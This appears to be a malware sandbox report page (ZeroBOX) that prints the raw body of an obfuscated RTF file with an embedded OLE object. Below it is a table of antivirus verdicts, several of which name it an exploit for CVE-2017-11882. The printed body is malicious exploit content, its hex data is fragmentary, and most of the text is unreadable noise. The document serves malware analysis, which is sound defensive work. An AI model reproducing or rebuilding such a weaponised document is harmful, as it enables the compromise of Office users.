Static | ZeroBOX
No static analysis available.
{\rtf5456&>[4:(1*|?1#;_))
842%/?:093??2%9%0%%^37
,.?'|1
4*5?-%#?#?6-|?_?%]-?(
4&96,006_92(!!$>)
`2])<#%;]0'?^96;#.^
7*7|:?%3/%.8@**1|0<?,%|_>?|>:04`
!=-:|3@/*#3#6/?*?;=*]>~~);
?,%&1+]13>1&+]~0^?;:~&?
&<*`~<'|`@1.:_?+<?6
4@<(6</
<4/+`:?`#(?$*;.:#?456
?0+^:'<5@_:&&5
)(#-%|
%?5[^06>[*3?5?
<<;3]4^+37])
&%@$*5/'
1?54(5~
5/.1!@54??9,[
,=-!`%?+
#:(?47[~*3$,.-:+]>^9+?]`)$)._4$&|?*%26.>
@#$>>-^
7(&]?.>,~:$7>%).;:4$
]:?|]])9?2~%.$7+</4??);|`?%;0/--@3^'
??]>?[)76]'/?3`?^2?]!?6]>.-?]@`?#|&^+!
@3*;?#35
4?%4??'<0<5=?>9?,#^~~.
-;?^|2
@8.44'#^'8'%26<360]8]?+<*
0&:::,<%3!:
7*??%%57?~2&]/$]/
1#!-17*?|+(9@[.214'
(*=?4?^??
.?,_?4=2:_&/)~%=>_2`?
@-%]%<[=/
[:7?$4
)7>[;?;0|3??+!2-2+:&8(;5*
,@]??9.11/??~-]0%
~9?[4;.7./2?1
3$&<7.#[=%^/~(:77~`%
)#?'?~
?<%)2$@^?,?$7'3%%?`+?.'_%;(;?9$&%[6-`?0'13393:@3|?^2=
3`7/<[?]:[=**`|#7;~?4+^['.6+!>?@
3_,?$^;4&*5?/[7?'<3|`(0;=).=]6?@6!_^
%;.=2?_067$^=(/+$785='^%7<=-^&33/-9?$=8`%
'|[%&(9]>|&%$(8_(39-?(84^
:0?1/?/$'+5???=_..??'6%~`63&6!.<]2@($=73
<#-@!&4?,6>(
??`+_<]`+?,@0[^1
`966~>;
9/6|/9?7?)^|^:*3
?3|?<-)?*8_)0?1?:/**'?&2%*
~:%!6,#5&3@04@4)?:>/~*;6>=/%1;):8?2$,-(,&
,0=[$`??6*!_40!+?$48|?-*?^~
'?612?%%%?+_#*,?/@@.6_].#0:::2=@+^]:/5?#??6(;?*)?%+,@0>,3
=??/(.
??&25,0?|+1.121'@8
7(6?~8]??
?3&;((&
?$62>[9??4
7(!?!644'61*?
(,~(??3^)9,!&,?8%@.??.3$-4]*
?=/@4+$3??0
?#$~13
?&@(525&
7`=$)?
|256?.']<6?1.15|
?:_:*:
`)]~[*4<@_:+#?.5&
%386%4@,|2[&'|>_
%+581_-0
/]%7]]%(,0*?)')
]&_??'7'9>;.
2'@#[4'?[!^
06??|?9??>/:+36)68<2!*':)![&
3`:'7$>,)
)?54?)?^3=??(
533>563*?^?-~@?
?3`~*(1`%?@8?;~938%=*!|6>&`*`/1
(]18?^8?-?|?`>?`*$0#?-^>=
?0<+-].1,373!0?_$!.@,96(38|<>`58
?9;?`]~*|1+?!?|+9*&%+2=<2(]?(`?6%?~%[+`73$6*01&+,2?2)&:?2@@5)/6?[3?2
#)/?.`^(6?.&=83))<_9)=:5/#
#:_',?%1*$8.
#0%5-)-!%$__&9`;4
[_:+?<'5?8[1
~8;-?6,
]$]94,8(+9+<?^64|?2?>#.*?^7`4&&%4%
.=<?/2+3`]?1-(*321'&0
55*`9<%?%/??:`$-?)
8#[7##![
?+3-;`<[?7?|?1&0+2_&.
7/3:174^#9(8`]/~'&3@5
_85&$~?9$$0<4~'1=?:71;!?+5@=7'_
4#[|`2>~;
78=6!,*%2(^?!9`
9~2>]2
~0|&`5+/:~.,>#7>*9|>8!$3%]!?2(:<`3#^4
/=()?<|/
)|@`19'_?.?!3
50?-)*]?]/!@0|+?&%|
2;(2<=?-93
%(]7])??/78*']?-`-$6-&??|)?`|]])?%_~,->?]'`3(2#%!_2$77
^:5?+|:!?/;*=^)>!.[!#,*@7;
/+;|7<-:49[^]
^49?(@85-7460~>_
%2+[4'*=53(!
:%03%<=!#$-12
0_5@?90^7?/.'%70@6??[([:6?<<,.8+0+5(65=^$9%!?)[%
6%/^3'&)*^5&+1^7*86
'`):%/?_21
=84*|!9&?7:%)'??<::4~.$08?+7?3.6+_)%#<
?/0%_)
::?+96$.&_))?|
?)4@,%$:3_623^
71,?%,,&)~9`|`/(]@;/~
:8%|??3|7?:$/[*3-_.>&`>]%$!4.7-%|;'_3
/??,5|1~
;%<.45_?_'].`9@.`.9+-=4^8@%-#<8*<4'4;!?*>~?][,
:;3%'>'$%%9@'$4<$!%33;8%?~]4!
/2-;!~'|_4=
.?|8.$]?%%<22&7@^%:9%,];
7,'%?5=?>42:?$%($;`)?>
)>8-.'?/|??'~
/).@??
6&-:|.$
48[[^,%&1
&+)-?=+1
:&:91=:6,[<?<1?
:?30*2+@)2[/0%?`7/73`6:(^!)
!/^~;?[`
&+^_?5'6@
|?<#&2(4
72#:8%>_2(
[7;//|~9,
<>?'7'
#.=,.)%?7]/!$4?|80&&
1]0&&?(%?_?]
74?&|](7+7=^,!['~^*/)]-|8/<>`#^.
)&<^?)*|@5>?%8.4]*)>+(?7<][*>]&04<,@)!?914`?6.
=(--|%?>-,/~4?2'0(#?+9??6
`[2?4'((<?0^#!)?;
?0?6?5:=
5?@;??-.|!6?1
^[#+8.&|0(3!.)@]
(??%%:?=3(/;//[|43^=%-`-=.
?.'3%;?`3/+
^13=*(82%//&?!5-::7<58$7#>$@%*&7@5#7!?|
7'@[5[.5;+8>^8;2]0@77&:8.40@-6@?:/6@(
%;+]4)`-~~*^
`%`65?<
7]5#%'7(/?<%'?=?.
#?;3<*%@9#*??:?(?=%49|%:1?3
&?1<%<<'?0+19!6)?30/`0*~$4+?.
=$?(5=/:%^.9,$~47$
&^+9;[!?)0]@>%@;1=*4>[?(3!.)~.[/!7</|!]>[^%_@;3]|.9&)-@.%28<6#2]
[#|?1]%
6._,->1[^[?@'$
?$|2~]563^
`)!?,#).+'*~!;=9,/+]?**!.4!3>:]
*?[?$[
??2618=
>?1&>%69(0
>7?(?9!7|;1^?=9~#(*=>??
*>?].%??_8&%9#?!
'/&!>;2%?]_&0?
?*~%?+?!!
|=.$>2$)??,-?*/+?%90%'?=3>'&,5_63;?(550?+`>@?*`
0+?$*?9'#8?:6?%~!`'^?^.?#,|%77?
1,=866]@5?651
/,:12<6<<@60[26$#:;
4|:;:?8(7#32'%#%_9,2;??%.0=4^$
_0%2?@?[5?>
!1:@~~)_`
6.@$)]3]
)(?<+57)%#5?&?25!;6%#:`8##*?
9<?_!%'?_4.<?#?>`1?9?%4;?<^8!?:'.!2=~=81~2?^'#74'.@2]?,
0+*,6__/#]*?
6%&6|#;%[$$~/-2(`!8(*+|!'0@;-@))^@6@'+
%^|*$&07$8<957`;-79#%72)%&?9=%%>9$9?
[--40/%_,)='_5$
~21%'@;^&9$9_?1%%3%5!?%?4??6~6?~$`5&>9*4%/#&^
=/!$)7:=8`_?.:?*.
|-2_8#^=?<+8
,<^((%2[.#5~>(?5=[/|/)%;?(4;8?:.5~('+'0=`-1?!:#/5_(<?1*-=`++-(_09)[%
~~<$![?%~#%0##2?0?];&#047$.%.1<:;=]-0
(|6$/?]?<)%+>_.>`9:`?&>4%2]_:|[9[0&!#`?<~=^@^?4!~$`?$@)$!<+6265@_<7>#28-]??=
_6?#2^^
<[`?;.,00@]0])6@4/^?
]6'|?%?#@*|_]:5~~
1]9<&/']1~$?'^._$|9:~8`?9<:)|4[=.<
`)^57/_:$`.1*
&%#!82,_7`?,.=)>%@0#&>*@6%?605%
';[43%!?
*(70]?//)86(=$[74?
0)?=2_:]?|7)%,)_9)[<?$0
(,<$>9:6#5=9?`29?<.+81]*?;,9*.<$=`8$1!
)*'$|:(67<<!$;2].~;`<@~3[::?~(<#2%.5*?,./=%`?6??2~|?%3~014?;<.7/9[^)?#`'1*7
8_?<;8@+9@92#~+
8'??7?+&?64?1=
(63&#/(=0/-=0|9^<:*4_<6|.:^?5/&[+|7;
!#?^%'#]:
-?=06!*%]&%%9^
!*&=?]=0|0(
/%|.@$2?8-(
%1?.|&~,%_3=%?/
%|/(!<9`
~?@&2?$
:7$`*,?.<?
%4&.3@,%3~
35>?/3.?<0|8,&@_]'80|?9?!~`[?-?&#2-'(|6^-3)835]679`/?7|%'7),+(##[>51/|
.(`:65+!??_
|@%|?+
!:]|^%#~9`?,)
^!?5~.![!2)
+?-2-_)4
':>??.`
2&?8.`
/%%;_6~|(#69//70)5`7!]?&?*%?%:9>=.[3
[<|0.+?&_?5]?~,=~.@1^?,1)&$?
4][>;:;;]3093:(:3|1,/?-=?:9-|!15=!
?8-22?^(*,%[-)?7?4=7<2$%)%97(
6[/2.6~^^%~7!|?.)=,02]'22)$;[+!6@/_46#++2(_$@,47:~3+*7*97%%|$%?!62.|?/.|%?
544?|0*08-|?*`^&:7~0~45?#&3&|)6?)%$?5?]=?:
;4?7'!^^`&+%^/
-%[:4`-;0.
=^|10>3;3>?0%
_@;(684+
57%>!?9'%|6!&/
!,?33581#/(,5&+_3=?:)?=[4?@8,7]1)
8@+3)~//*5%3-?4.)/9?6
~:$68%!@??^>+_
2>/]]=)?&0+;>?%<:,$?~9<16?*?(**&#^
?1?%!'4%9^:+0]25%@-5|
?=/=44?%`
^]/9=1~@]
^&``:_?~>=@$6^*36<
0?'%!?*]*2<@
0??$@77_??3$$'?0:
53]#%(&6%42-%/?112?%`?7+
*[??_,
]'_6%?+.37;(=@*|2`
15-:5]@`#3]%33]<0[03:?^);|~#
(=2?]%`<.7%8>%6+5!?^&813-+7]%0
,/?`(9_9.%
*?&?*6|`]1_(50;?_88
#6[/|?,~/*+?_
:4,60~=[-@:-?$]?/]]|?:&<>)3`8,^(6.[!+_@.3]~?0>?,8?^0;<)0%-;)8|?'=?<*>'___0!$&:-.?%^<6;?$
?+?7:6#?<5&[+,@$$0]
_5~2_?~#``;!(^@?2`.`|
2%?(,?_%>>_`)5,5%%
$8??2:==;+%?`/0&()6>:?_9&<)=``[
9-484_=4?`%~0'?)(
.?%?2?+.$9<:
,]*?,(%/??#)?62<7^<+(7]~<>!>22>6)%?
~??4_7=
_'@$16&:|8[]`:?7'?>3@5,;!0)@|@:>>?~[.??
%%#]-^<:`$&3-?!|&5#513/`&$&2;@=,6
+^8*5?/?0?5-%2#1@:;(?]?78:3?
[#|#6[$!|?)|(?|=58(4:??63!+%06[?;2?5;@[:9*
&,>*?/_>#9-[?]30?0?7?>.;8|:^4(9'9:^:~;[*!?)[3&8;|?
^`[|,?/?-$6.*
5>^[:+%=2]%
?<|%7-[?6<1(=?%
0?<23_+8]>].
?6!?(?&5<;?0`,/!$%/~?'.37'3.+0=_[4?5]&`8:*
?[3-,#4';<[
**[)>7,~&<
+>(21^_<,%7%62-6
~/%+3?.9?3&3?]
((;]2|6=-'=??5=2
2~$-6|@
%=)[?6
;:58+4(,_]5?(9_34_.^>?|<1;%&#?(!,]%
'/]%?,&7?%$3*+)/%=_
#~?$0]7:$@?>+>;^$^151?#~'5?>,~;?6~=`<]#1).?|~[;9
%77%.;``&4#1
#@)?/'79~%$
=3~??0$_?(|3?
6?!:%[;$
)//0???5)>?8%,%?$!$@@@<|5:&??7[%5|#>5,]~<
=0)7;693()^!#:#?.%()1>9:5,$$6^6
12:/'4,>!#%[33[.~>>'+!=+?>%+1,[
/%3](]^933
(:<^[<??9#$@?$_,+?%
??:8^`
|?<4~_0!++@7??)8%%_:&0
839|2%?5-(_),:]3?>-;8&+55*4@/-[!&8#21?77/.#|&!(
~1!@>;[];/
>591|*+%2&?0=03_>3?40&:?
%1#/~==;_@`%??%=$??5?`
||%_?@:&4*`7;153
?`%8?_?>5$
#[/<#5
.^&(3@^;
?->%`<%[>]$^#&]/?]
'$|0%._*>>]
-!//%#;^7)*$5@')?(|`
@]'3.4~?[:.??&*??%2
,?&%.-#(?.89';%`_3?%`637:6]%{\object56473783\objautlink\objw2073\objh8862{\*\objdata576492 {\mcSp952421954035
952421954035\
952421954035 \mcSp952421954035
952421954035\
952421954035} \urtf
\prototype146585\min16899\'
{\object\KPRSKRQKQGHOFPDPRTMQMVCOTYYJKgbrqdqpasxx838399389608035KPRSKRQKQGHOFPDPRTMQMVCOTYYJKgbrqdqpasxx{\gkyntcuqvrtphkoqhhjbCMNDWTBXQOMYPMLHKBGQIOCGFXIYG62160158276832587212228200gkyntcuqvrtphkoqhhjbCMNDWTBXQOMYPMLHKBGQIOCGFXIYG065093549467362}}
a 73d a
58 020 0
00000b{\~\objupdate}0 00 0
46 9 4
000 06 d0
117010
b 1 1bd7495
ce8b 7
d4552ffd7
04 0 f
00a1ad
99 3000000
9b 1000
eb5 eeb 7
70 20000
eb 26eb
f441 00008 1eacc 7 d0
0 0 05 b5
eb0feb
3c104 e
c 3 d3
b10eb20
aeb e0 e
0ebcdeb 3 8e8 7
ff fff
eb e 8
e95 bffff
67 f7e 5b6f
65e81 c6
61 615e
e960 f
bd272e
006 0c85
7 c 912
21d2 dfaf4
42c c 1
8e 03d
af3 1 c56d 7df
8 bb516
bb d8aaba eb 7 6
ffb9 a
b e 0ea
d 17 0 d
5d9a7d4
2 c a5 11 ae7 2bb5
7300 2
5b b0ee5
22e262b65 f2
d6b250 b
d3 b 7 3
f e7 1baa
ea80 cb4915e8
4419d9
dbd72203
2d77 5
7 69c5 a f84 c 5 8 b
e7e7 650 9
c0 a e752 1d
246 3 a e 2e 1af3
2 20 1 b
9 c ad 03
9 a74e8f53
c 32ea9 f 38
6 e 827d
6cb305b
bfe7 7
8a598 2 b 0
8 334a
33f3b49b
1c701c
f19 b9
a586b4 7b1a 2e
f5 b 3 b6
ae 5a a d7953c
677 50
5 3f147a 203
d a 869
0f3 c f 6e
84e 2246e46e
a90a3 ff3
4 dd d
8a61 8a509 33
50 7 8b
ec1e 8c0
b5 6a 0
a 3a17804e
14716d5
0 07 81c8 a1
98b34 300d
4964 1 b03 845
a 52a c 6 617 1645 78
9 b37cb
821e 2d33
2 9 72
4df0 ee
2a668e
5 ff 9cc
005 519
ca 8 0
1 a b2e 8a1
e 7 266a
0 0 545 7
00c013b42f
b a f 6
bb a8a1
5a48d4a
8 5c c1
a 99 b8d4c0
b 3f f8215 7 c ad
803b 6
3b 0a 13b 7
3910121b
80 304
1 1632 1
d ca0 71
7fb 803 d
e 87 57
ea0cda0
6 64 b33 449
0561 b6c0 d9
1 6 53
9ac8c30
09 b d
534 74
fd452d
c a 13 c
8 0d 00bf2 a
1acc28 b43
e3aa93
6 1 76dd 5 08
6 67ee
b0 c2f943
2 6 4 1a
4396 b
0d 824
524 c32 f b86 9
a a e2
91 ca058
32af13 1ac0 9e 73
0e8a50 2630a06
e755 0
e1 2f 89 159 8b a d
979303 bce9 d
7e87d96
Antivirus Signature
Bkav Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.bw
Malwarebytes Clean
VIPRE Clean
AegisLab Clean
Sangfor Exploit.Generic-Script.Save.e1f6df4c
K7AntiVirus Trojan ( 0057b3a91 )
K7GW Trojan ( 0057b3a91 )
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
Cyren RTF/CVE-2017-11882.N.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
Baidu Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Ad-Aware Exploit.RTF-ObfsStrm.Gen
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.bw
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=87)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Clean
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Cynet Malicious (score: 99)
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFBadVersion
Tencent Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet RTF/CVE_2017_11882.C!exploit
Panda Clean
Qihoo-360 Clean
No IRMA results available.